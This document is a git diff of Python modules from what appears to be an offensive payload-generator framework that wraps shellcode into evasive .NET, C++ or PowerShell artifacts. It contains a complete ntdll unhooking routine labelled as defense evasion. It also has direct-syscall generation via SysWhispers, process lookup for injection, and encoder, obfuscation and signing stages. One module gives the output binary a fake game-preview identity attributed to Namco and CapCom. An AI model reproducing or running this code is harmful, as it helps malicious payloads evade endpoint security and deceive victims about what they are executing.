raise ModuleNotCompatibleException()
|
||||
super().__init__(name="Dinvoke", libraries=libraries, components=components)
|
|
@ -0,0 +1,44 @@
|
|||
import os
|
||||
import tempfile
|
||||
import uuid
|
||||
|
||||
from config.Config import Config
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
|
||||
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class DtjsModule(AssemblyInfoModule):
|
||||
def __init__(self):
|
||||
content = ""
|
||||
path = tempfile.NamedTemporaryFile(
|
||||
delete=False,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
|
||||
).name
|
||||
trademark = ""
|
||||
company = "Namco"
|
||||
title = "StreetFighter"
|
||||
description = "StreetFighter Alpha 2022 Game Preview"
|
||||
product = "StreetFighter Alpha 2022 Game Preview"
|
||||
copyright = "CapCom"
|
||||
super().__init__(
|
||||
path=path,
|
||||
title=title,
|
||||
description=description,
|
||||
company=company,
|
||||
product=product,
|
||||
copyright=copyright,
|
||||
trademark=trademark,
|
||||
assembly_version="1.0.0.0",
|
||||
file_version="1.0.0.0",
|
||||
guid=None,
|
||||
neutral_language="",
|
||||
com_visible=False,
|
||||
language=Language.CSHARP,
|
||||
arch=Arch.x64
|
||||
)
|
|
@ -0,0 +1,16 @@
|
|||
from engine.component.CallComponent import CallComponent
|
||||
from engine.modules.TemplateModule import TemplateModule
|
||||
from enums.Architectures import Arch
|
||||
|
||||
|
||||
class EncoderModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, name=None, libraries=None, components=None, call_component: CallComponent = None, arch=Arch.x64):
|
||||
super().__init__(name=name, libraries=libraries, components=components, arch=arch)
|
||||
self.call_component: CallComponent = call_component
|
||||
self.filter_string = ""
|
|
@ -0,0 +1,106 @@
|
|||
import os
|
||||
|
||||
from engine.component.AntiDebugComponent import AntiDebugComponent
|
||||
from engine.component.ArgsComponent import ArgsComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DefineComponent import DefineComponent
|
||||
from engine.component.UnookComponent import UnhookComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class EvalArgsModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
libraries = None
|
||||
components = None
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
if language == Language.CPP:
|
||||
components = [
|
||||
UsingComponent(code="<string.h>", language=language),
|
||||
UsingComponent(code="<stdlib.h>", language=language),
|
||||
UsingComponent(code="<stdio.h>", language=language),
|
||||
UsingComponent(code="<processenv.h>", language=language),
|
||||
CodeComponent(code=r"""
|
||||
size_t size_strar(char ** str_ar);
|
||||
char** strsplit(char * str, char delim);
|
||||
void free_strar(char ** str_ar);
|
||||
size_t size_strar(char ** str_ar) {
|
||||
size_t count = 0;
|
||||
for (int i = 0 ; str_ar[i][0] != '\0' ; i++) {
|
||||
count++;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
char** strsplit(char * str, char delim) {
|
||||
char** strres;
|
||||
size_t count = 0;
|
||||
|
||||
for (int i = 0 ; i < strlen(str) ; i++) {
|
||||
if (str[i] == delim || str[i] == '\n' || str[i] == '\0')
|
||||
count++;
|
||||
}
|
||||
strres = (char**)malloc(++count * sizeof *strres);
|
||||
|
||||
char buffer[100]; int actual = 0, place = 0;
|
||||
for (int i = 0 ; i < strlen(str) ; i++) {
|
||||
if (str[i] != delim && str[i] != '\n' && str[i] != '\0') {
|
||||
buffer[actual++] = str[i];
|
||||
}
|
||||
else {
|
||||
buffer[actual] = '\0';
|
||||
actual = 0;
|
||||
strres[place] = (char*)malloc((strlen(buffer) + 3) * sizeof *strres[place]);
|
||||
strres[place] = strcpy(strres[place], buffer);
|
||||
place++;
|
||||
}
|
||||
}
|
||||
|
||||
strres[place] = (char*)malloc(sizeof *strres[place]);
|
||||
strres[place][0] = '\0';
|
||||
|
||||
return strres;
|
||||
}
|
||||
|
||||
void free_strar(char ** str_ar) {
|
||||
for (int i = 0 ; i < size_strar(str_ar) ; i++) {
|
||||
free(str_ar[i]);
|
||||
}
|
||||
free(str_ar);
|
||||
}
|
||||
|
||||
char** get_argv()
|
||||
{
|
||||
char* cmdline = (char*)GetCommandLineA();
|
||||
printf("CMD LINE: %s\n", cmdline);
|
||||
|
||||
char** args = strsplit(cmdline, ' ');
|
||||
return args;
|
||||
}
|
||||
"""),
|
||||
ArgsComponent(code="args = get_argv();")
|
||||
]
|
||||
elif language == Language.CSHARP:
|
||||
ArgsComponent(code=r"""
|
||||
if (args == null)
|
||||
{
|
||||
args = new Object[] { Environment.GetCommandLineArgs() };
|
||||
}else{
|
||||
args = new Object[] { args };
|
||||
}
|
||||
""")
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="EvalArgs", libraries=libraries, components=components, arch=arch)
|
||||
self.filter_string = ""
|
|
@ -0,0 +1,111 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.FindProcessComponent import FindProcessComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Language import Language
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.DelayComponent import DelayComponent
|
||||
from utils.console import Console
|
||||
from utils.utils import get_project_root, static_random_ascii_string
|
||||
|
||||
|
||||
class FindProcessModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
process = kwargs["kwargs"]["process"]
|
||||
pinject = kwargs["kwargs"]["pinject"]
|
||||
dinvoke = kwargs["kwargs"]["dinvoke"]
|
||||
syscalls = kwargs["kwargs"]["syscalls"]
|
||||
|
||||
if dinvoke or syscalls:
|
||||
Console.warn_line("[WARNING] Find process still doesn't support syscalls and manual mapping")
|
||||
|
||||
if not pinject:
|
||||
Console.auto_line(f"[-] {self.__class__.__name__} requires (-P|--pinject)!")
|
||||
sys.exit(1)
|
||||
if not process:
|
||||
Console.auto_line(f"[-] {self.__class__.__name__} requires (-P0|--process)!")
|
||||
sys.exit(1)
|
||||
|
||||
classname = static_random_ascii_string(min_size=3, max_size=10)
|
||||
function = static_random_ascii_string(min_size=3, max_size=10)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
components = [
|
||||
UsingComponent(code=f"System.Diagnostics", language=language),
|
||||
CodeComponent(code=fr"""
|
||||
public static class {classname}
|
||||
{{
|
||||
public static int {function}(string processName) {{
|
||||
int pid = Process.GetCurrentProcess().Id;
|
||||
Process[] processes = Process.GetProcessesByName(processName);
|
||||
if (processes.Length > 0) {{
|
||||
pid = processes[0].Id;
|
||||
}}
|
||||
return pid;
|
||||
}}
|
||||
}}
|
||||
"""),
|
||||
FindProcessComponent(code=f'pid = {classname}.{function}("{process}");')
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
components = [
|
||||
UsingComponent(code="<windows.h>", language=language),
|
||||
UsingComponent(code="<stdio.h>", language=language),
|
||||
UsingComponent(code="<stdlib.h>", language=language),
|
||||
UsingComponent(code="<Tlhelp32.h>", language=language),
|
||||
UsingComponent(code="<string.h>", language=language),
|
||||
CodeComponent(code=fr"""
|
||||
DWORD {function}(const wchar_t* processName);
|
||||
DWORD {function}(const wchar_t* processName) {{
|
||||
PROCESSENTRY32 processInfo;
|
||||
processInfo.dwSize = sizeof(processInfo);
|
||||
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (processesSnapshot == INVALID_HANDLE_VALUE)
|
||||
return 0;
|
||||
Process32First(processesSnapshot, &processInfo);
|
||||
if (_wcsicmp(processName, processInfo.szExeFile) == 0)
|
||||
{{
|
||||
CloseHandle(processesSnapshot);
|
||||
return processInfo.th32ProcessID;
|
||||
}}
|
||||
while (Process32Next(processesSnapshot, &processInfo))
|
||||
{{
|
||||
if (_wcsicmp(processName, processInfo.szExeFile) == 0)
|
||||
{{
|
||||
CloseHandle(processesSnapshot);
|
||||
return processInfo.th32ProcessID;
|
||||
}}
|
||||
}}
|
||||
CloseHandle(processesSnapshot);
|
||||
return 0;
|
||||
}}
|
||||
"""),
|
||||
FindProcessComponent(code=fr"""
|
||||
const wchar_t* proc = L"{process}.exe";
|
||||
pid = {function}(proc);
|
||||
""")
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
components = [
|
||||
FindProcessComponent(code=fr"""
|
||||
$list = (Get-Process {process})
|
||||
if ($list.Length -gt 0){{
|
||||
$targetpid = $list[0].Id
|
||||
}}
|
||||
""")
|
||||
]
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
libraries = None
|
||||
super().__init__(name="FindProcess", libraries=libraries, components=components)
|
|
@ -0,0 +1,12 @@
|
|||
from engine.modules.TemplateModule import TemplateModule
|
||||
|
||||
|
||||
class PowerShellModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, libraries, components):
|
||||
super().__init__(name="PowerShellModule", libraries=libraries, components=components)
|
|
@ -0,0 +1,102 @@
|
|||
import os
|
||||
|
||||
from engine.component.AntiDebugComponent import AntiDebugComponent
|
||||
from engine.component.ArgsComponent import ArgsComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DefineComponent import DefineComponent
|
||||
from engine.component.UnookComponent import UnhookComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class StaticArgsModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
args = kwargs["kwargs"]["args"]
|
||||
|
||||
if args is None:
|
||||
args = []
|
||||
libraries = None
|
||||
components = None
|
||||
if language == Language.CPP:
|
||||
components = [
|
||||
UsingComponent(code="<string.h>", language=language),
|
||||
UsingComponent(code="<stdlib.h>", language=language),
|
||||
UsingComponent(code="<stdio.h>", language=language),
|
||||
CodeComponent(code=r"""
|
||||
size_t size_strar(char ** str_ar);
|
||||
char** strsplit(char * str, char delim);
|
||||
void free_strar(char ** str_ar);
|
||||
size_t size_strar(char ** str_ar) {
|
||||
size_t count = 0;
|
||||
for (int i = 0 ; str_ar[i][0] != '\0' ; i++) {
|
||||
count++;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
char** strsplit(char * str, char delim) {
|
||||
char** strres;
|
||||
size_t count = 0;
|
||||
|
||||
for (int i = 0 ; i < strlen(str) ; i++) {
|
||||
if (str[i] == delim || str[i] == '\n' || str[i] == '\0')
|
||||
count++;
|
||||
}
|
||||
strres = (char**)malloc(++count * sizeof *strres);
|
||||
|
||||
char buffer[100]; int actual = 0, place = 0;
|
||||
for (int i = 0 ; i < strlen(str) ; i++) {
|
||||
if (str[i] != delim && str[i] != '\n' && str[i] != '\0') {
|
||||
buffer[actual++] = str[i];
|
||||
}
|
||||
else {
|
||||
buffer[actual] = '\0';
|
||||
actual = 0;
|
||||
strres[place] = (char*)malloc((strlen(buffer) + 3) * sizeof *strres[place]);
|
||||
strres[place] = strcpy(strres[place], buffer);
|
||||
place++;
|
||||
}
|
||||
}
|
||||
|
||||
strres[place] = (char*)malloc(sizeof *strres[place]);
|
||||
strres[place][0] = '\0';
|
||||
|
||||
return strres;
|
||||
}
|
||||
|
||||
void free_strar(char ** str_ar) {
|
||||
for (int i = 0 ; i < size_strar(str_ar) ; i++) {
|
||||
free(str_ar[i]);
|
||||
}
|
||||
free(str_ar);
|
||||
}
|
||||
|
||||
char** get_argv()
|
||||
{
|
||||
char* cmdline = "####CMDLINE####";
|
||||
char** args = strsplit(cmdline, '£');
|
||||
return args;
|
||||
}
|
||||
""".replace("####CMDLINE####", "£".join(args))),
|
||||
ArgsComponent(code="char** args = get_argv();")
|
||||
]
|
||||
elif language == Language.CSHARP:
|
||||
ArgsComponent(code=r"""
|
||||
Object[] args = new Object[] {
|
||||
new string[] { "####CMDLINE####" }
|
||||
};
|
||||
""".replace("####CMDLINE####", '","'.join(args)))
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="StaticArgs", libraries=libraries, components=components, arch=arch)
|
|
@ -0,0 +1,102 @@
|
|||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from compilers.ClCompiler import ClCompiler
|
||||
from compilers.LibCompiler import LibCompiler
|
||||
from compilers.MasmCompiler import MasmCompiler
|
||||
from config.Config import Config
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Language import Language
|
||||
from utils.console import Console
|
||||
|
||||
|
||||
class SyscallsModule(TemplateModule):
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
dinvoke = kwargs["kwargs"]["dinvoke"]
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
self.arch = arch.value
|
||||
self.filter_string = "syscalls"
|
||||
libraries = []
|
||||
if language == Language.CPP:
|
||||
library = tempfile.NamedTemporaryFile(
|
||||
delete=True,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".lib"
|
||||
).name
|
||||
|
||||
syscalls_basepath = tempfile.NamedTemporaryFile(
|
||||
delete=False,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
|
||||
).name
|
||||
|
||||
headers = [f"{syscalls_basepath}.h"]
|
||||
|
||||
kwargs = {
|
||||
"syscalls_path": syscalls_basepath,
|
||||
"dll": library,
|
||||
"arch": self.arch
|
||||
}
|
||||
self.generate(kwargs=kwargs)
|
||||
self.build(kwargs=kwargs)
|
||||
components = [
|
||||
UsingComponent(code=f'"{header}"', language=language) for header in headers
|
||||
]
|
||||
libraries = [library]
|
||||
elif language == Language.CSHARP:
|
||||
if not dinvoke:
|
||||
Console.auto_line(f"[-] {self.__class__.__name__} requires -m dinvoke!")
|
||||
sys.exit(1)
|
||||
components = []
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="Syscalls", libraries=libraries, components=components, arch=arch)
|
||||
|
||||
def generate(self, **kwargs):
|
||||
syswhisper_version = Config().get_int("SYSCALLS", "syswhispers")
|
||||
syscalls_basepath = kwargs["kwargs"]["syscalls_path"]
|
||||
|
||||
if syswhisper_version == 1 and kwargs["kwargs"]["arch"] != "x64":
|
||||
Console.fail_line(f'[-] Syswhisper v1 does not support {kwargs["kwargs"]["arch"]}')
|
||||
sys.exit(1)
|
||||
elif syswhisper_version == 1:
|
||||
from syscalls.syswhispers.syswhispers import SysWhispers
|
||||
elif syswhisper_version == 2 and kwargs["kwargs"]["arch"] != "x64":
|
||||
from syscalls.syswhispersv2_x86.syswhispers import SysWhispers
|
||||
else:
|
||||
from syscalls.syswhispersv2.syswhispers import SysWhispers
|
||||
|
||||
whispers = SysWhispers()
|
||||
whispers.generate(basename=syscalls_basepath)
|
||||
|
||||
def build(self, **kwargs):
|
||||
syscalls_basepath = kwargs["kwargs"]["syscalls_path"]
|
||||
obj_files = [f"{syscalls_basepath}.0.obj"]
|
||||
|
||||
masm = MasmCompiler(arch=self.arch)
|
||||
masm.default_args(outfile=obj_files[0])
|
||||
|
||||
masm.compile([f"{syscalls_basepath}.asm"])
|
||||
if not os.path.isfile(f"{syscalls_basepath}.0.obj"):
|
||||
Console.auto_line("[-] Failed to compile syscall ASM stubs")
|
||||
sys.exit(1)
|
||||
|
||||
# SysWhisper2 Only
|
||||
if os.path.isfile(f"{syscalls_basepath}.c"):
|
||||
obj_files.append(f"{syscalls_basepath}.1.obj")
|
||||
cl = ClCompiler(arch=self.arch)
|
||||
cl.default_obj_args(outfile=obj_files[1])
|
||||
cl.add_include_directory(str(Config().get_path("DIRECTORIES", "WRITER")))
|
||||
cl.compile([f"{syscalls_basepath}.c"])
|
||||
if not os.path.isfile(f"{syscalls_basepath}.1.obj"):
|
||||
Console.auto_line("[-] Failed to compile syscall C definitions")
|
||||
sys.exit(1)
|
||||
|
||||
libc = LibCompiler(arch=self.arch)
|
||||
libc.default_args(kwargs["kwargs"]["dll"])
|
||||
libc.compile(obj_files)
|
|
@ -0,0 +1,90 @@
|
|||
import os
|
||||
import re
|
||||
import traceback
|
||||
from abc import abstractmethod
|
||||
from pydoc import locate
|
||||
|
||||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class ModuleNotCompatibleException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class ModuleNotLoadableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class TemplateModule:
|
||||
def __init__(self, name: str = None, arch=Arch.x64, libraries: list = None, components: list = None):
|
||||
self.components = components if components else []
|
||||
self.libraries = libraries if libraries else []
|
||||
self.name = name
|
||||
self.arch = arch
|
||||
self.order = None
|
||||
self.compile = False
|
||||
self.filter_string = ""
|
||||
self.loadable = True
|
||||
|
||||
def add_component(self, component):
|
||||
self.components.append(component)
|
||||
|
||||
@abstractmethod
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def all_modules(init=False):
|
||||
kwargs = {
|
||||
"language": Language.CSHARP,
|
||||
"seconds": 1,
|
||||
"dinvoke": True,
|
||||
"process": "",
|
||||
"pinject": True,
|
||||
"arch": Arch.x64
|
||||
}
|
||||
modules_path = str(Config().get_path("DIRECTORIES", "MODULES"))
|
||||
all_files = [
|
||||
f for f in
|
||||
os.listdir(modules_path)
|
||||
if os.path.isfile(os.path.join(modules_path, f))
|
||||
and f not in [
|
||||
"TemplateModule.py",
|
||||
"__init__.py",
|
||||
"AdditionalSourceModule.py",
|
||||
"AssemblyInfoModule.py",
|
||||
"EncoderModule.py",
|
||||
"PowerShellModule.py",
|
||||
]
|
||||
]
|
||||
module_names = ["_".join(re.sub(r"([A-Z])", r" \1", f.replace("Module.py", "")).split()).lower() for f in
|
||||
all_files]
|
||||
if not init:
|
||||
return module_names
|
||||
return [TemplateModule.from_name(m, kwargs=kwargs) for m in module_names]
|
||||
|
||||
@staticmethod
|
||||
def from_name(name, **kwargs):
|
||||
try:
|
||||
_module_name = "".join([n.capitalize() for n in str(name).split("_")])
|
||||
_class_string = f"engine.modules.{_module_name}Module.{_module_name}Module"
|
||||
# print(_class_string)
|
||||
_class = locate(_class_string)
|
||||
_instance = _class(kwargs=kwargs['kwargs'])
|
||||
if not _instance.loadable:
|
||||
raise ModuleNotLoadableException()
|
||||
return _instance
|
||||
except ModuleNotCompatibleException:
|
||||
raise ModuleNotCompatibleException()
|
||||
except TypeError as e:
|
||||
if str(e).find("unexpected keyword argument 'kwargs'") > -1:
|
||||
raise ModuleNotLoadableException()
|
||||
except Exception as e:
|
||||
pass
|
|
@ -0,0 +1,81 @@
|
|||
import os
|
||||
|
||||
from engine.component.AntiDebugComponent import AntiDebugComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DefineComponent import DefineComponent
|
||||
from engine.component.UnookComponent import UnhookComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class UnhookModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
if language == Language.CPP:
|
||||
components = [
|
||||
UsingComponent("<psapi.h>", language=language),
|
||||
CodeComponent(r"""
|
||||
int UnhookNtdll()
|
||||
{
|
||||
// https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
|
||||
HANDLE process = GetCurrentProcess();
|
||||
MODULEINFO mi = {};
|
||||
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
|
||||
|
||||
if (ntdllModule == 0) {
|
||||
printf("[-] Invalid Ntdll module handle");
|
||||
return 1;
|
||||
}
|
||||
|
||||
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
|
||||
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
|
||||
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
|
||||
|
||||
if (ntdllMapping == 0) {
|
||||
printf("[-] Invalid Ntdll mapping handle");
|
||||
return 1;
|
||||
}
|
||||
|
||||
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
|
||||
|
||||
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
|
||||
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
|
||||
|
||||
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
|
||||
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
|
||||
|
||||
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
|
||||
DWORD oldProtection = 0;
|
||||
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
|
||||
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
|
||||
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(process);
|
||||
CloseHandle(ntdllFile);
|
||||
CloseHandle(ntdllMapping);
|
||||
FreeLibrary(ntdllModule);
|
||||
|
||||
return 0;
|
||||
}
|
||||
"""),
|
||||
UnhookComponent("UnhookNtdll();"),
|
||||
]
|
||||
libraries = ["dbghelp.lib"]
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="Unhook", libraries=libraries, components=components, arch=arch)
|
|
@ -0,0 +1,16 @@
|
|||
from enum import Enum
|
||||
|
||||
|
||||
class Arch(Enum):
|
||||
Any = ""
|
||||
x86 = "x86"
|
||||
x64 = "x64"
|
||||
|
||||
@staticmethod
|
||||
def from_string(label):
|
||||
if label.lower() in ["any"]:
|
||||
return Arch.Any
|
||||
elif label.lower() in ["32", "86", "x86", "i386"]:
|
||||
return Arch.x86
|
||||
elif label.lower() in ["64", "x64", "amd64", "x86_64"]:
|
||||
return Arch.x64
|
|
@ -0,0 +1,19 @@
|
|||
import re
|
||||
from enum import Enum
|
||||
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class ImportRegex(Enum):
|
||||
CSHARP = r"using(\s*[^;]*)\s*;"
|
||||
CPP = r'#include(\s*["|<][^"]*[>|"])'
|
||||
POWERSHELL = r""
|
||||
|
||||
@staticmethod
|
||||
def from_lang(language=None):
|
||||
if language == Language.CSHARP:
|
||||
return re.compile(ImportRegex.CSHARP.value)
|
||||
elif language == Language.CPP:
|
||||
return re.compile(ImportRegex.CPP.value)
|
||||
else:
|
||||
return re.compile(ImportRegex.POWERSHELL.value)
|
|
@ -0,0 +1,17 @@
|
|||
from enum import Enum
|
||||
|
||||
|
||||
class Language(Enum):
|
||||
CSHARP = 0
|
||||
CPP = 1
|
||||
POWERSHELL = 2
|
||||
|
||||
@staticmethod
|
||||
def from_string(label):
|
||||
if label.lower() in ["c#", "csharp", "cs"]:
|
||||
return Language.CSHARP
|
||||
elif label.lower() in ["c", "cpp", "c++"]:
|
||||
return Language.CPP
|
||||
elif label.lower() in ["ps", "powershell"]:
|
||||
return Language.POWERSHELL
|
||||
|
|
@ -0,0 +1,292 @@
|
|||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import traceback
|
||||
from datetime import datetime
|
||||
|
||||
from compilers.CscCompiler import CscCompiler
|
||||
from compilers.ILPacker import ILPacker
|
||||
from config.Config import Config
|
||||
from converters.TransformerFactory import TransformerFactory
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
from encoders.HexEncoder import HexEncoder
|
||||
from encoders.ZlibEncoder import ZlibEncoder
|
||||
from engine.CodeWriter import CodeWriter, TemplateFactory
|
||||
from engine.Filter import Filter
|
||||
from engine.Template import Template
|
||||
from enums.Language import Language
|
||||
from generators.Generator import Generator
|
||||
from obfuscators.Obfuscator import Obfuscator
|
||||
from utils.console import Console
|
||||
from utils.utils import get_project_root, file_signature, shellcode_signature, sgn
|
||||
from utils import CarbonCopy
|
||||
|
||||
|
||||
class DotNetArtifactGenerator(Generator):
|
||||
def __init__(self,
|
||||
file: str = None,
|
||||
chain: EncoderChain = None,
|
||||
outfile: str = None,
|
||||
transformer: str = None,
|
||||
cargs: str = None,
|
||||
params: str = None,
|
||||
obfuscate: bool = False,
|
||||
delay: int = None,
|
||||
sgn: bool = False,
|
||||
pinject: bool = False,
|
||||
process: str = None,
|
||||
arch: str = None,
|
||||
sign: bool = False,
|
||||
modules: list = None
|
||||
):
|
||||
super().__init__(file=file, chain=chain)
|
||||
if chain.is_empty():
|
||||
chain.push(HexEncoder())
|
||||
config = Config()
|
||||
self.sgn = sgn
|
||||
self.obfuscate = obfuscate
|
||||
self.sign = sign
|
||||
|
||||
self.arch = None
|
||||
self.tool_arch = None
|
||||
|
||||
self.set_architectures(arch)
|
||||
self.additional_args = cargs
|
||||
|
||||
self.compiler = CscCompiler(aargs=self.additional_args, arch=self.arch)
|
||||
|
||||
filename, ext = os.path.splitext(outfile)
|
||||
filename = os.path.basename(filename)
|
||||
self.working_directory = working_directory = Config().get_path("DIRECTORIES", "WRITER")
|
||||
|
||||
self.dll = True if ext == ".dll" else False
|
||||
|
||||
self.outfiles = {
|
||||
"temp": os.path.join(working_directory, filename + "-temp" + ext),
|
||||
"packed": os.path.join(working_directory, filename + "-packed" + ext),
|
||||
"obfuscated": os.path.join(working_directory, filename + "-obfuscated" + ext),
|
||||
"signed": os.path.join(working_directory, filename + "-signed" + ext),
|
||||
"final": outfile,
|
||||
}
|
||||
_filter = Filter(exclude=["dll"]) if not self.dll else Filter(include=["dll"])
|
||||
|
||||
if transformer and transformer in TransformerFactory.allowed(file=file):
|
||||
self.transformer = TransformerFactory.from_name(transformer)
|
||||
else:
|
||||
self.transformer = TransformerFactory.from_file(file=file)
|
||||
|
||||
self.transformer.set_architecture(arch=self.arch)
|
||||
self.need_parameter_module = False
|
||||
try:
|
||||
self.transformer.add_parameters(params=params)
|
||||
except:
|
||||
# print(f"[-] Warning: Transformer {self.transformer.__class__.__name__} does not support parameters")
|
||||
self.need_parameter_module = True
|
||||
|
||||
self.is_packed = False
|
||||
self.dependencies = ""
|
||||
|
||||
self.writer = CodeWriter(file=file,
|
||||
delay=delay,
|
||||
pinject=pinject,
|
||||
process=process,
|
||||
_filter=_filter,
|
||||
modules=modules,
|
||||
converter=self.transformer,
|
||||
arch=arch)
|
||||
self.load_writer_chain()
|
||||
|
||||
self.placeholder = config.get("PLACEHOLDERS", "SHELLCODE")
|
||||
template_path = config.get_path("DIRECTORIES", "TEMPLATES")
|
||||
artifacts_path = config.get_path("DIRECTORIES", "ARTIFACTS")
|
||||
|
||||
if working_directory and working_directory != "":
|
||||
self.cs_out = tempfile.NamedTemporaryFile(dir=working_directory, delete=False, suffix=".cs").name
|
||||
else:
|
||||
self.cs_out = tempfile.NamedTemporaryFile(delete=False, suffix=".cs").name
|
